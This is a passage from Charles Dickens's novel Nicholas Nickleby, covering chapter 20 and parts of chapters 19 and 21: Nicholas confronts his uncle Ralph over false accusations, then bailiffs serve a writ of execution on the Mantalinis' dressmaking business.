thought, or word, or deed, it would have been most +cruel to me, and the memory of one you must have loved in some old +time; but--' + +'Only listen to me for a moment,' interrupted Ralph, seriously +alarmed by the violence of her emotions. 'I didn't know it would be +so; it was impossible for me to foresee it. I did all I could.-- +Come, let us walk about. You are faint with the closeness of the +room, and the heat of these lamps. You will be better now, if you +make the slightest effort.' + +'I will do anything,' replied Kate, 'if you will only send me home.' + +'Well, well, I will,' said Ralph; 'but you must get back your own +looks; for those you have, will frighten them, and nobody must know +of this but you and I. Now let us walk the other way. There. You +look better even now.' + +With such encouragements as these, Ralph Nickleby walked to and fro, +with his niece leaning on his arm; actually trembling beneath her +touch. + +In the same manner, when he judged it prudent to allow her to +depart, he supported her downstairs, after adjusting her shawl and +performing such little offices, most probably for the first time in +his life. Across the hall, and down the steps, Ralph led her too; +nor did he withdraw his hand until she was seated in the coach. + +As the door of the vehicle was roughly closed, a comb fell from +Kate's hair, close at her uncle's feet; and as he picked it up, and +returned it into her hand, the light from a neighbouring lamp shone +upon her face. The lock of hair that had escaped and curled loosely +over her brow, the traces of tears yet scarcely dry, the flushed +cheek, the look of sorrow, all fired some dormant train of +recollection in the old man's breast; and the face of his dead +brother seemed present before him, with the very look it bore on +some occasion of boyish grief, of which every minutest circumstance +flashed upon his mind, with the distinctness of a scene of +yesterday. + +Ralph Nickleby, who was proof against all appeals of blood and +kindred--who was steeled against every tale of sorrow and distress-- +staggered while he looked, and went back into his house, as a man +who had seen a spirit from some world beyond the grave. + + + +CHAPTER 20 + +Wherein Nicholas at length encounters his Uncle, to whom he +expresses his Sentiments with much Candour. His Resolution. + + +Little Miss La Creevy trotted briskly through divers streets at the +west end of the town, early on Monday morning--the day after the +dinner--charged with the important commission of acquainting Madame +Mantalini that Miss Nickleby was too unwell to attend that day, but +hoped to be enabled to resume her duties on the morrow. And as Miss +La Creevy walked along, revolving in her mind various genteel forms +and elegant turns of expression, with a view to the selection of the +very best in which to couch her communication, she cogitated a good +deal upon the probable causes of her young friend's indisposition. + +'I don't know what to make of it,' said Miss La Creevy. 'Her eyes +were decidedly red last night. She said she had a headache; +headaches don't occasion red eyes. She must have been crying.' + +Arriving at this conclusion, which, indeed, she had established to +her perfect satisfaction on the previous evening, Miss La Creevy +went on to consider--as she had done nearly all night--what new +cause of unhappiness her young friend could possibly have had. + +'I can't think of anything,' said the little portrait painter. +'Nothing at all, unless it was the behaviour of that old bear. +Cross to her, I suppose? Unpleasant brute!' + +Relieved by this expression of opinion, albeit it was vented upon +empty air, Miss La Creevy trotted on to Madame Mantalini's; and +being informed that the governing power was not yet out of bed, +requested an interview with the second in command; whereupon Miss +Knag appeared. + +'So far as I am concerned,' said Miss Knag, when the message had +been delivered, with many ornaments of speech; 'I could spare Miss +Nickleby for evermore.' + +'Oh, indeed, ma'am!' rejoined Miss La Creevy, highly offended. +'But, you see, you are not mistress of the business, and therefore +it's of no great consequence.' + +'Very good, ma'am,' said Miss Knag. 'Have you any further commands +for me?' + +'No, I have not, ma'am,' rejoined Miss La Creevy. + +'Then good-morning, ma'am,' said Miss Knag. + +'Good-morning to you, ma'am; and many obligations for your extreme +politeness and good breeding,' rejoined Miss La Creevy. + +Thus terminating the interview, during which both ladies had +trembled very much, and been marvellously polite--certain +indications that they were within an inch of a very desperate +quarrel--Miss La Creevy bounced out of the room, and into the +street. + +'I wonder who that is,' said the queer little soul. 'A nice person +to know, I should think! I wish I had the painting of her: I'D do +her justice.' So, feeling quite satisfied that she had said a very +cutting thing at Miss Knag's expense, Miss La Creevy had a hearty +laugh, and went home to breakfast in great good humour. + +Here was one of the advantages of having lived alone so long! The +little bustling, active, cheerful creature existed entirely within +herself, talked to herself, made a confidante of herself, was as +sarcastic as she could be, on people who offended her, by herself; +pleased herself, and did no harm. If she indulged in scandal, +nobody's reputation suffered; and if she enjoyed a little bit of +revenge, no living soul was one atom the worse. One of the many to +whom, from straitened circumstances, a consequent inability to form +the associations they would wish, and a disinclination to mix with +the society they could obtain, London is as complete a solitude as +the plains of Syria, the humble artist had pursued her lonely, but +contented way for many years; and, until the peculiar misfortunes of +the Nickleby family attracted her attention, had made no friends, +though brimful of the friendliest feelings to all mankind. There +are many warm hearts in the same solitary guise as poor little Miss +La Creevy's. + +However, that's neither here nor there, just now. She went home to +breakfast, and had scarcely caught the full flavour of her first sip +of tea, when the servant announced a gentleman, whereat Miss La +Creevy, at once imagining a new sitter transfixed by admiration at +the street-door case, was in unspeakable consternation at the +presence of the tea-things. + +'Here, take 'em away; run with 'em into the bedroom; anywhere,' said +Miss La Creevy. 'Dear, dear; to think that I should be late on this +particular morning, of all others, after being ready for three weeks +by half-past eight o'clock, and not a soul coming near the place!' + +'Don't let me put you out of the way,' said a voice Miss La Creevy +knew. 'I told the servant not to mention my name, because I wished +to surprise you.' + +'Mr Nicholas!' cried Miss La Creevy, starting in great astonishment. +'You have not forgotten me, I see,' replied Nicholas, extending his +hand. + +'Why, I think I should even have known you if I had met you in the +street,' said Miss La Creevy, with a smile. 'Hannah, another cup +and saucer. Now, I'll tell you what, young man; I'll trouble you +not to repeat the impertinence you were guilty of, on the morning +you went away.' + +'You would not be very angry, would you?' asked Nicholas. + +'Wouldn't I!' said Miss La Creevy. 'You had better try; that's +all!' + +Nicholas, with becoming gallantry, immediately took Miss La Creevy +at her word, who uttered a faint scream and slapped his face; but it +was not a very hard slap, and that's the truth. + +'I never saw such a rude creature!' exclaimed Miss La Creevy. + +'You told me to try,' said Nicholas. + +'Well; but I was speaking ironically,' rejoined Miss La Creevy. + +'Oh! that's another thing,' said Nicholas; 'you should have told me +that, too.' + +'I dare say you didn't know, indeed!' retorted Miss La Creevy. +'But, now I look at you again, you seem thinner than when I saw you +last, and your face is haggard and pale. And how come you to have +left Yorkshire?' + +She stopped here; for there was so much heart in her altered tone +and manner, that Nicholas was quite moved. + +'I need look somewhat changed,' he said, after a short silence; 'for +I have undergone some suffering, both of mind and body, since I left +London. I have been very poor, too, and have even suffered from +want.' + +'Good Heaven, Mr Nicholas!' exclaimed Miss La Creevy, 'what are you +telling me?' + +'Nothing which need distress you quite so much,' answered Nicholas, +with a more sprightly air; 'neither did I come here to bewail my +lot, but on matter more to the purpose. I wish to meet my uncle +face to face. I should tell you that first.' + +'Then all I have to say about that is,' interposed Miss La Creevy, +'that I don't envy you your taste; and that sitting in the same room +with his very boots, would put me out of humour for a fortnight.' + +'In the main,' said Nicholas, 'there may be no great difference of +opinion between you and me, so far; but you will understand, that I +desire to confront him, to justify myself, and to cast his duplicity +and malice in his throat.' + +'That's quite another matter,' rejoined Miss La Creevy. 'Heaven +forgive me; but I shouldn't cry my eyes quite out of my head, if +they choked him. Well?' + +'To this end, I called upon him this morning,' said Nicholas. 'He +only returned to town on Saturday, and I knew nothing of his arrival +until late last night.' + +'And did you see him?' asked Miss La Creevy. + +'No,' replied Nicholas. 'He had gone out.' + +'Hah!' said Miss La Creevy; 'on some kind, charitable business, I +dare say.' + +'I have reason to believe,' pursued Nicholas, 'from what has been +told me, by a friend of mine who is acquainted with his movements, +that he intends seeing my mother and sister today, and giving them +his version of the occurrences that have befallen me. I will meet +him there.' + +'That's right,' said Miss La Creevy, rubbing her hands. 'And yet, I +don't know,' she added, 'there is much to be thought of--others to +be considered.' + +'I have considered others,' rejoined Nicholas; 'but as honesty and +honour are both at issue, nothing shall deter me.' + +'You should know best,' said Miss La Creevy. + +'In this case I hope so,' answered Nicholas. 'And all I want you to +do for me, is, to prepare them for my coming. They think me a long +way off, and if I went wholly unexpected, I should frighten them. +If you can spare time to tell them that you have seen me, and that I +shall be with them in a quarter of an hour afterwards, you will do +me a great service.' + +'I wish I could do you, or any of you, a greater,' said Miss La +Creevy; 'but the power to serve, is as seldom joined with the will, +as the will is with the power, I think.' + +Talking on very fast and very much, Miss La Creevy finished her +breakfast with great expedition, put away the tea-caddy and hid the +key under the fender, resumed her bonnet, and, taking Nicholas's +arm, sallied forth at once to the city. Nicholas left her near the +door of his mother's house, and promised to return within a quarter +of an hour. + +It so chanced that Ralph Nickleby, at length seeing fit, for his own +purposes, to communicate the atrocities of which Nicholas had been +guilty, had (instead of first proceeding to another quarter of the +town on business, as Newman Noggs supposed he would) gone straight +to his sister-in-law. Hence, when Miss La Creevy, admitted by a +girl who was cleaning the house, made her way to the sitting-room, +she found Mrs Nickleby and Kate in tears, and Ralph just concluding +his statement of his nephew's misdemeanours. Kate beckoned her not +to retire, and Miss La Creevy took a seat in silence. + +'You are here already, are you, my gentleman?' thought the little +woman. 'Then he shall announce himself, and see what effect that +has on you.' + +'This is pretty,' said Ralph, folding up Miss Squeers's note; 'very +pretty. I recommend him--against all my previous conviction, for I +knew he would never do any good--to a man with whom, behaving +himself properly, he might have remained, in comfort, for years. +What is the result? Conduct for which he might hold up his hand at +the Old Bailey.' + +'I never will believe it,' said Kate, indignantly; 'never. It is +some base conspiracy, which carries its own falsehood with it.' + +'My dear,' said Ralph, 'you wrong the worthy man. These are not +inventions. The man is assaulted, your brother is not to be found; +this boy, of whom they speak, goes with him--remember, remember.' + +'It is impossible,' said Kate. 'Nicholas!--and a thief too! Mama, +how can you sit and hear such statements?' + +Poor Mrs Nickleby, who had, at no time, been remarkable for the +possession of a very clear understanding, and who had been reduced +by the late changes in her affairs to a most complicated state of +perplexity, made no other reply to this earnest remonstrance than +exclaiming from behind a mass of pocket-handkerchief, that she never +could have believed it--thereby most ingeniously leaving her hearers +to suppose that she did believe it. + +'It would be my duty, if he came in my way, to deliver him up to +justice,' said Ralph, 'my bounden duty; I should have no other +course, as a man of the world and a man of business, to pursue. And +yet,' said Ralph, speaking in a very marked manner, and looking +furtively, but fixedly, at Kate, 'and yet I would not. I would +spare the feelings of his--of his sister. And his mother of +course,' added Ralph, as though by an afterthought, and with far +less emphasis. + +Kate very well understood that this was held out as an additional +inducement to her to preserve the strictest silence regarding the +events of the preceding night. She looked involuntarily towards +Ralph as he ceased to speak, but he had turned his eyes another way, +and seemed for the moment quite unconscious of her presence. + +'Everything,' said Ralph, after a long silence, broken only by Mrs +Nickleby's sobs, 'everything combines to prove the truth of this +letter, if indeed there were any possibility of disputing it. Do +innocent men steal away from the sight of honest folks, and skulk in +hiding-places, like outlaws? Do innocent men inveigle nameless +vagabonds, and prowl with them about the country as idle robbers do? +Assault, riot, theft, what do you call these?' + +'A lie!' cried a voice, as the door was dashed open, and Nicholas +came into the room. + +In the first moment of surprise, and possibly of alarm, Ralph rose +from his seat, and fell back a few paces, quite taken off his guard +by this unexpected apparition. In another moment, he stood, fixed +and immovable with folded arms, regarding his nephew with a scowl; +while Kate and Miss La Creevy threw themselves between the two, to +prevent the personal violence which the fierce excitement of +Nicholas appeared to threaten. + +'Dear Nicholas,' cried his sister, clinging to him. 'Be calm, +consider--' + +'Consider, Kate!' cried Nicholas, clasping her hand so tight in +the tumult of his anger, that she could scarcely bear the pain. +'When I consider all, and think of what has passed, I need be +made of iron to stand before him.' + +'Or bronze,' said Ralph, quietly; 'there is not hardihood enough in +flesh and blood to face it out.' + +'Oh dear, dear!' cried Mrs Nickleby, 'that things should have come +to such a pass as this!' + +'Who speaks in a tone, as if I had done wrong, and brought disgrace +on them?' said Nicholas, looking round. + +'Your mother, sir,' replied Ralph, motioning towards her. + +'Whose ears have been poisoned by you,' said Nicholas; 'by you--who, +under pretence of deserving the thanks she poured upon you, heaped +every insult, wrong, and indignity upon my head. You, who sent me +to a den where sordid cruelty, worthy of yourself, runs wanton, and +youthful misery stalks precocious; where the lightness of childhood +shrinks into the heaviness of age, and its every promise blights, +and withers as it grows. I call Heaven to witness,' said Nicholas, +looking eagerly round, 'that I have seen all this, and that he knows +it.' + +'Refute these calumnies,' said Kate, 'and be more patient, so that +you may give them no advantage. Tell us what you really did, and +show that they are untrue.' + +'Of what do they--or of what does he--accuse me?' said Nicholas. + +'First, of attacking your master, and being within an ace of +qualifying yourself to be tried for murder,' interposed Ralph. 'I +speak plainly, young man, bluster as you will.' + +'I interfered,' said Nicholas, 'to save a miserable creature from +the vilest cruelty. In so doing, I inflicted such punishment upon a +wretch as he will not readily forget, though far less than he +deserved from me. If the same scene were renewed before me now, I +would take the same part; but I would strike harder and heavier, and +brand him with such marks as he should carry to his grave, go to it +when he would.' + +'You hear?' said Ralph, turning to Mrs Nickleby. 'Penitence, this!' + +'Oh dear me!' cried Mrs Nickleby, 'I don't know what to think, I +really don't.' + +'Do not speak just now, mama, I entreat you,' said Kate. 'Dear +Nicholas, I only tell you, that you may know what wickedness can +prompt, but they accuse you of--a ring is missing, and they dare to +say that--' + +'The woman,' said Nicholas, haughtily, 'the wife of the fellow from +whom these charges come, dropped--as I suppose--a worthless ring +among some clothes of mine, early in the morning on which I left the +house. At least, I know that she was in the bedroom where they lay, +struggling with an unhappy child, and that I found it when I opened +my bundle on the road. I returned it, at once, by coach, and they +have it now.' + +'I knew, I knew,' said Kate, looking towards her uncle. 'About this +boy, love, in whose company they say you left?' + +'The boy, a silly, helpless creature, from brutality and hard usage, +is with me now,' rejoined Nicholas. + +'You hear?' said Ralph, appealing to the mother again, 'everything +proved, even upon his own confession. Do you choose to restore that +boy, sir?' + +'No, I do not,' replied Nicholas. + +'You do not?' sneered Ralph. + +'No,' repeated Nicholas, 'not to the man with whom I found him. I +would that I knew on whom he has the claim of birth: I might wring +something from his sense of shame, if he were dead to every tie of +nature.' + +'Indeed!' said Ralph. 'Now, sir, will you hear a word or two from +me?' + +'You can speak when and what you please,' replied Nicholas, +embracing his sister. 'I take little heed of what you say or +threaten.' + +'Mighty well, sir,' retorted Ralph; 'but perhaps it may concern +others, who may think it worth their while to listen, and consider +what I tell them. I will address your mother, sir, who knows the +world.' + +'Ah! and I only too dearly wish I didn't,' sobbed Mrs Nickleby. + +There really was no necessity for the good lady to be much +distressed upon this particular head; the extent of her worldly +knowledge being, to say the least, very questionable; and so Ralph +seemed to think, for he smiled as she spoke. He then glanced +steadily at her and Nicholas by turns, as he delivered himself in +these words: + +'Of what I have done, or what I meant to do, for you, ma'am, and my +niece, I say not one syllable. I held out no promise, and leave you +to judge for yourself. I hold out no threat now, but I say that +this boy, headstrong, wilful and disorderly as he is, should not +have one penny of my money, or one crust of my bread, or one grasp +of my hand, to save him from the loftiest gallows in all Europe. I +will not meet him, come where he comes, or hear his name. I will +not help him, or those who help him. With a full knowledge of what +he brought upon you by so doing, he has come back in his selfish +sloth, to be an aggravation of your wants, and a burden upon his +sister's scanty wages. I regret to leave you, and more to leave +her, now, but I will not encourage this compound of meanness and +cruelty, and, as I will not ask you to renounce him, I see you no +more.' + +If Ralph had not known and felt his power in wounding those he +hated, his glances at Nicholas would have shown it him, in all its +force, as he proceeded in the above address. Innocent as the young +man was of all wrong, every artful insinuation stung, every well- +considered sarcasm cut him to the quick; and when Ralph noted his +pale face and quivering lip, he hugged himself to mark how well he +had chosen the taunts best calculated to strike deep into a young +and ardent spirit. + +'I can't help it,' cried Mrs Nickleby. 'I know you have been very +good to us, and meant to do a good deal for my dear daughter. I am +quite sure of that; I know you did, and it was very kind of you, +having her at your house and all--and of course it would have been a +great thing for her and for me too. But I can't, you know, brother- +in-law, I can't renounce my own son, even if he has done all you say +he has--it's not possible; I couldn't do it; so we must go to rack +and ruin, Kate, my dear. I can bear it, I dare say.' Pouring forth +these and a perfectly wonderful train of other disjointed +expressions of regret, which no mortal power but Mrs Nickleby's +could ever have strung together, that lady wrung her hands, and her +tears fell faster. + +'Why do you say "IF Nicholas has done what they say he has," mama?' +asked Kate, with honest anger. 'You know he has not.' + +'I don't know what to think, one way or other, my dear,' said Mrs +Nickleby; 'Nicholas is so violent, and your uncle has so much +composure, that I can only hear what he says, and not what Nicholas +does. Never mind, don't let us talk any more about it. We can go +to the Workhouse, or the Refuge for the Destitute, or the Magdalen +Hospital, I dare say; and the sooner we go the better.' With this +extraordinary jumble of charitable institutions, Mrs Nickleby again +gave way to her tears. + +'Stay,' said Nicholas, as Ralph turned to go. 'You need not leave +this place, sir, for it will be relieved of my presence in one +minute, and it will be long, very long, before I darken these doors +again.' + +'Nicholas,' cried Kate, throwing herself on her brother's shoulder, +'do not say so. My dear brother, you will break my heart. Mama, +speak to him. Do not mind her, Nicholas; she does not mean it, you +should know her better. Uncle, somebody, for Heaven's sake speak to +him.' + +'I never meant, Kate,' said Nicholas, tenderly, 'I never meant to +stay among you; think better of me than to suppose it possible. I +may turn my back on this town a few hours sooner than I intended, +but what of that? We shall not forget each other apart, and better +days will come when we shall part no more. Be a woman, Kate,' he +whispered, proudly, 'and do not make me one, while HE looks on.' + +'No, no, I will not,' said Kate, eagerly, 'but you will not leave +us. Oh! think of all the happy days we have had together, before +these terrible misfortunes came upon us; of all the comfort and +happiness of home, and the trials we have to bear now; of our having +no protector under all the slights and wrongs that poverty so much +favours, and you cannot leave us to bear them alone, without one +hand to help us.' + +'You will be helped when I am away,' replied Nicholas hurriedly. 'I +am no help to you, no protector; I should bring you nothing but +sorrow, and want, and suffering. My own mother sees it, and her +fondness and fears for you, point to the course that I should take. +And so all good angels bless you, Kate, till I can carry you to some +home of mine, where we may revive the happiness denied to us now, +and talk of these trials as of things gone by. Do not keep me here, +but let me go at once. There. Dear girl--dear girl.' + +The grasp which had detained him relaxed, and Kate swooned in his +arms. Nicholas stooped over her for a few seconds, and placing her +gently in a chair, confided her to their honest friend. + +'I need not entreat your sympathy,' he said, wringing her hand, 'for +I know your nature. You will never forget them.' + +He stepped up to Ralph, who remained in the same attitude which he +had preserved throughout the interview, and moved not a finger. + +'Whatever step you take, sir,' he said, in a voice inaudible beyond +themselves, 'I shall keep a strict account of. I leave them to you, +at your desire. There will be a day of reckoning sooner or later, +and it will be a heavy one for you if they are wronged.' + +Ralph did not allow a muscle of his face to indicate that he heard +one word of this parting address. He hardly knew that it was +concluded, and Mrs Nickleby had scarcely made up her mind to detain +her son by force if necessary, when Nicholas was gone. + +As he hurried through the streets to his obscure lodging, seeking to +keep pace, as it were, with the rapidity of the thoughts which +crowded upon him, many doubts and hesitations arose in his mind, and +almost tempted him to return. But what would they gain by this? +Supposing he were to put Ralph Nickleby at defiance, and were even +fortunate enough to obtain some small employment, his being with +them could only render their present condition worse, and might +greatly impair their future prospects; for his mother had spoken of +some new kindnesses towards Kate which she had not denied. 'No,' +thought Nicholas, 'I have acted for the best.' + +But, before he had gone five hundred yards, some other and different +feeling would come upon him, and then he would lag again, and +pulling his hat over his eyes, give way to the melancholy +reflections which pressed thickly upon him. To have committed no +fault, and yet to be so entirely alone in the world; to be separated +from the only persons he loved, and to be proscribed like a +criminal, when six months ago he had been surrounded by every +comfort, and looked up to, as the chief hope of his family--this was +hard to bear. He had not deserved it either. Well, there was +comfort in that; and poor Nicholas would brighten up again, to be +again depressed, as his quickly shifting thoughts presented every +variety of light and shade before him. + +Undergoing these alternations of hope and misgiving, which no one, +placed in a situation of ordinary trial, can fail to have +experienced, Nicholas at length reached his poor room, where, no +longer borne up by the excitement which had hitherto sustained him, +but depressed by the revulsion of feeling it left behind, he threw +himself on the bed, and turning his face to the wall, gave free vent +to the emotions he had so long stifled. + +He had not heard anybody enter, and was unconscious of the presence +of Smike, until, happening to raise his head, he saw him, standing +at the upper end of the room, looking wistfully towards him. He +withdrew his eyes when he saw that he was observed, and affected to +be busied with some scanty preparations for dinner. + +'Well, Smike,' said Nicholas, as cheerfully as he could speak, 'let +me hear what new acquaintances you have made this morning, or what +new wonder you have found out, in the compass of this street and the +next one.' + +'No,' said Smike, shaking his head mournfully; 'I must talk of +something else today.' + +'Of what you like,' replied Nicholas, good-humouredly. + +'Of this,' said Smike. 'I know you are unhappy, and have got into +great trouble by bringing me away. I ought to have known that, and +stopped behind--I would, indeed, if I had thought it then. You-- +you--are not rich; you have not enough for yourself, and I should +not be here. You grow,' said the lad, laying his hand timidly on +that of Nicholas, 'you grow thinner every day; your cheek is paler, +and your eye more sunk. Indeed I cannot bear to see you so, and +think how I am burdening you. I tried to go away today, but the +thought of your kind face drew me back. I could not leave you +without a word.' The poor fellow could say no more, for his eyes +filled with tears, and his voice was gone. + +'The word which separates us,' said Nicholas, grasping him heartily +by the shoulder, 'shall never be said by me, for you are my only +comfort and stay. I would not lose you now, Smike, for all the +world could give. The thought of you has upheld me through all I +have endured today, and shall, through fifty times such trouble. +Give me your hand. My heart is linked to yours. We will journey +from this place together, before the week is out. What, if I am +steeped in poverty? You lighten it, and we will be poor together.' + + + +CHAPTER 21 + +Madam Mantalini finds herself in a Situation of some Difficulty, and +Miss Nickleby finds herself in no Situation at all + + +The agitation she had undergone, rendered Kate Nickleby unable to +resume her duties at the dressmaker's for three days, at the +expiration of which interval she betook herself at the accustomed +hour, and with languid steps, to the temple of fashion where Madame +Mantalini reigned paramount and supreme. + +The ill-will of Miss Knag had lost nothing of its virulence in the +interval. The young ladies still scrupulously shrunk from all +companionship with their denounced associate; and when that +exemplary female arrived a few minutes afterwards, she was at no +pains to conceal the displeasure with which she regarded Kate's +return. + +'Upon my word!' said Miss Knag, as the satellites flocked round, to +relieve her of her bonnet and shawl; 'I should have thought some +people would have had spirit enough to stop away altogether, when +they know what an incumbrance their presence is to right-minded +persons. But it's a queer world; oh! it's a queer world!' + +Miss Knag, having passed this comment on the world, in the tone in +which most people do pass comments on the world when they are out of +temper, that is to say, as if they by no means belonged to it, +concluded by heaving a sigh, wherewith she seemed meekly to +compassionate the wickedness of mankind. + +The attendants were not slow to echo the sigh, and Miss Knag was +apparently on the eve of favouring them with some further moral +reflections, when the voice of Madame Mantalini, conveyed through +the speaking-tube, ordered Miss Nickleby upstairs to assist in the +arrangement of the show-room; a distinction which caused Miss Knag +to toss her head so much, and bite her lips so hard, that her powers +of conversation were, for the time, annihilated. + +'Well, Miss Nickleby, child,' said Madame Mantalini, when Kate +presented herself; 'are you quite well again?' + +'A great deal better, thank you,' replied Kate. + +'I wish I could say the same,' remarked Madame Mantalini, seating +herself with an air of weariness. + +'Are you ill?' asked Kate. 'I am very sorry for that.' + +'Not exactly ill, but worried, child--worried,' rejoined Madame. + +'I am still more sorry to hear that,' said Kate, gently. 'Bodily +illness is more easy to bear than mental.' + +'Ah! and it's much easier to talk than to bear either,' said Madame, +rubbing her nose with much irritability of manner. 'There, get to +your work, child, and put the things in order, do.' + +While Kate was wondering within herself what these symptoms of +unusual vexation portended, Mr Mantalini put the tips of his +whiskers, and, by degrees, his head, through the half-opened door, +and cried in a soft voice-- + +'Is my life and soul there?' + +'No,' replied his wife. + +'How can it say so, when it is blooming in the front room like a +little rose in a demnition flower-pot?' urged Mantalini. 'May its +poppet come in and talk?' + +'Certainly not,' replied Madame: 'you know I never allow you here. +Go along!' + +The poppet, however, encouraged perhaps by the relenting tone of +this reply, ventured to rebel, and, stealing into the room, made +towards Madame Mantalini on tiptoe, blowing her a kiss as he came +along. + +'Why will it vex itself, and twist its little face into bewitching +nutcrackers?' said Mantalini, putting his left arm round the waist +of his life and soul, and drawing her towards him with his right. + +'Oh! I can't bear you,' replied his wife. + +'Not--eh, not bear ME!' exclaimed Mantalini. 'Fibs, fibs. It +couldn't be. There's not a woman alive, that could tell me such a +thing to my face--to my own face.' Mr Mantalini stroked his chin, as +he said this, and glanced complacently at an opposite mirror. + +'Such destructive extravagance,' reasoned his wife, in a low tone. + +'All in its joy at having gained such a lovely creature, such a +little Venus, such a demd, enchanting, bewitching, engrossing, +captivating little Venus,' said Mantalini. + +'See what a situation you have placed me in!' urged Madame. + +'No harm will come, no harm shall come, to its own darling,' +rejoined Mr Mantalini. 'It is all over; there will be nothing the +matter; money shall be got in; and if it don't come in fast enough, +old Nickleby shall stump up again, or have his jugular separated if +he dares to vex and hurt the little--' + +'Hush!' interposed Madame. 'Don't you see?' + +Mr Mantalini, who, in his eagerness to make up matters with his +wife, had overlooked, or feigned to overlook, Miss Nickleby +hitherto, took the hint, and laying his finger on his lip, sunk his +voice still lower. There was, then, a great deal of whispering, +during which Madame Mantalini appeared to make reference, more than +once, to certain debts incurred by Mr Mantalini previous to her +coverture; and also to an unexpected outlay of money in payment of +the aforesaid debts; and furthermore, to certain agreeable +weaknesses on that gentleman's part, such as gaming, wasting, +idling, and a tendency to horse-flesh; each of which matters of +accusation Mr Mantalini disposed of, by one kiss or more, as its +relative importance demanded. The upshot of it all was, that Madame +Mantalini was in raptures with him, and that they went upstairs to +breakfast. + +Kate busied herself in what she had to do, and was silently +arranging the various articles of decoration in the best taste she +could display, when she started to hear a strange man's voice in the +room, and started again, to observe, on looking round, that a white +hat, and a red neckerchief, and a broad round face, and a large +head, and part of a green coat were in the room too. + +'Don't alarm yourself, miss,' said the proprietor of these +appearances. 'I say; this here's the mantie-making consarn, an't it?' + +'Yes,' rejoined Kate, greatly astonished. 'What did you want?' + +The stranger answered not; but, first looking back, as though to +beckon to some unseen person outside, came, very deliberately, into +the room, and was closely followed by a little man in brown, very +much the worse for wear, who brought with him a mingled fumigation +of stale tobacco and fresh onions. The clothes of this gentleman +were much bespeckled with flue; and his shoes, stockings, and nether +garments, from his heels to the waist buttons of his coat inclusive, +were profusely embroidered with splashes of mud, caught a fortnight +previously--before the setting-in of the fine weather. + +Kate's very natural impression was, that these engaging individuals +had called with the view of possessing themselves, unlawfully, of +any portable articles that chanced to strike their fancy. She did +not attempt to disguise her apprehensions, and made a move towards +the door. + +'Wait a minnit,' said the man in the green coat, closing it softly, +and standing with his back against it. 'This is a unpleasant +bisness. Vere's your govvernor?' + +'My what--did you say?' asked Kate, trembling; for she thought +'governor' might be slang for watch or money. + +'Mister Muntlehiney,' said the man. 'Wot's come on him? Is he at +home?' + +'He is above stairs, I believe,' replied Kate, a little reassured by +this inquiry. 'Do you want him?' + +'No,' replied the visitor. 'I don't ezactly want him, if it's made +a favour on. You can jist give him that 'ere card, and tell him if +he wants to speak to ME, and save trouble, here I am; that's all.' + +With these words, the stranger put a thick square card into Kate's +hand, and, turning to his friend, remarked, with an easy air, 'that +the rooms was a good high pitch;' to which the friend assented, +adding, by way of illustration, 'that there was lots of room for a +little boy to grow up a man in either on 'em, vithout much fear of +his ever bringing his head into contract vith the ceiling.' + +After ringing the bell which would summon Madame Mantalini, Kate +glanced at the card, and saw that it displayed the name of 'Scaley,' +together with some other information to which she had not had time +to refer, when her attention was attracted by Mr Scaley himself, +who, walking up to one of the cheval-glasses, gave it a hard poke in +the centre with his stick, as coolly as if it had been made of cast +iron. + +'Good plate this here, Tix,' said Mr Scaley to his friend. + +'Ah!' rejoined Mr Tix, placing the marks of his four fingers, and a +duplicate impression of his thumb, on a piece of sky-blue silk; 'and +this here article warn't made for nothing, mind you.' + +From the silk, Mr Tix transferred his admiration to some elegant +articles of wearing apparel, while Mr Scaley adjusted his neckcloth, +at leisure, before the glass, and afterwards, aided by its +reflection, proceeded to the minute consideration of a pimple on his +chin; in which absorbing occupation he was yet engaged, when Madame +Mantalini, entering the room, uttered an exclamation of surprise +which roused him. + +'Oh! Is this the missis?' inquired Scaley. + +'It is Madame Mantalini,' said Kate. + +'Then,' said Mr Scaley, producing a small document from his pocket +and unfolding it very slowly, 'this is a writ of execution, and if +it's not conwenient to settle we'll go over the house at wunst, +please, and take the inwentory.' + +Poor Madame Mantalini wrung her hands for grief, and rung the bell +for her husband; which done, she fell into a chair and a fainting +fit, simultaneously. The professional gentlemen, however, were not +at all discomposed by this event, for Mr Scaley, leaning upon a +stand on which a handsome dress was displayed (so that his shoulders +appeared above it, in nearly the same manner as the shoulders of the +lady for whom it was designed would have done if she had had it on), +pushed his hat on one side and scratched his head with perfect +unconcern, while his friend Mr Tix, taking that opportunity for a +general survey of the apartment preparatory to entering on business, +stood with his inventory-book under his arm and his hat in his hand, +mentally occupied in putting a price upon every object within his +range of vision. + +Such was the posture of affairs when Mr Mantalini hurried in; and as +that distinguished specimen had had a pretty extensive intercourse +with Mr Scaley's fraternity in his bachelor days, and was, besides, +very far from being taken by surprise on the present agitating +occasion, he merely shrugged his shoulders, thrust his hands down to +the bottom of his pockets, elevated his eyebrows, whistled a bar or +two, swore an oath or two, and, sitting astride upon a chair, put +the best face upon the matter with great composure and decency. + +'What's the demd total?' was the first question he asked. + +'Fifteen hundred and twenty-seven pound, four and ninepence +ha'penny,' replied Mr Scaley, without moving a limb. + +'The halfpenny be demd,' said Mr Mantalini, impatiently. + +'By all means if you vish it,' retorted Mr Scaley; 'and the +ninepence.' + +'It don't matter to us if the fifteen hundred and twenty-seven pound +went along with it, that I know on,' observed Mr Tix. + +'Not a button,' said Scaley. + +'Well,' said the same gentleman, after a pause, 'wot's to be done-- +anything? Is it only a small crack, or a out-and-out smash? A +break-up of the constitootion is it?--werry good. Then Mr Tom Tix, +esk-vire, you must inform your angel wife and lovely family as you +won't sleep at home for three nights to come, along of being in +possession here. Wot's the good of the lady a fretting herself?' +continued Mr Scaley, as Madame Mantalini sobbed. 'A good half of +wot's here isn't paid for, I des-say, and wot a consolation oughtn't +that to be to her feelings!' + +With these remarks, combining great pleasantry with sound moral +encouragement under difficulties, Mr Scaley proceeded to take the +inventory, in which delicate task he was materially assisted by the +uncommon tact and experience of Mr Tix, the broker. + +'My cup of happiness's sweetener,' said Mantalini, approaching his +wife with a penitent air; 'will you listen to me for two minutes?' + +'Oh! don't speak to me,' replied his wife, sobbing. 'You have +ruined me, and that's enough.' + +Mr Mantalini, who had doubtless well considered his part, no sooner +heard these words pronounced in a tone of grief and severity, than +he recoiled several paces, assumed an expression of consuming mental +agony, rushed headlong from the room, and was, soon afterwards, +heard to slam the door of an upstairs dressing-room with great +violence. + +'Miss Nickleby,' cried Madame Mantalini, when this sound met her +ear, 'make haste, for Heaven's sake, he will destroy himself! I +spoke unkindly to him, and he cannot bear it from me. Alfred, my +darling Alfred.' + +With such exclamations, she hurried upstairs, followed by Kate who, +although she did not quite participate in the fond wife's +apprehensions, was a little 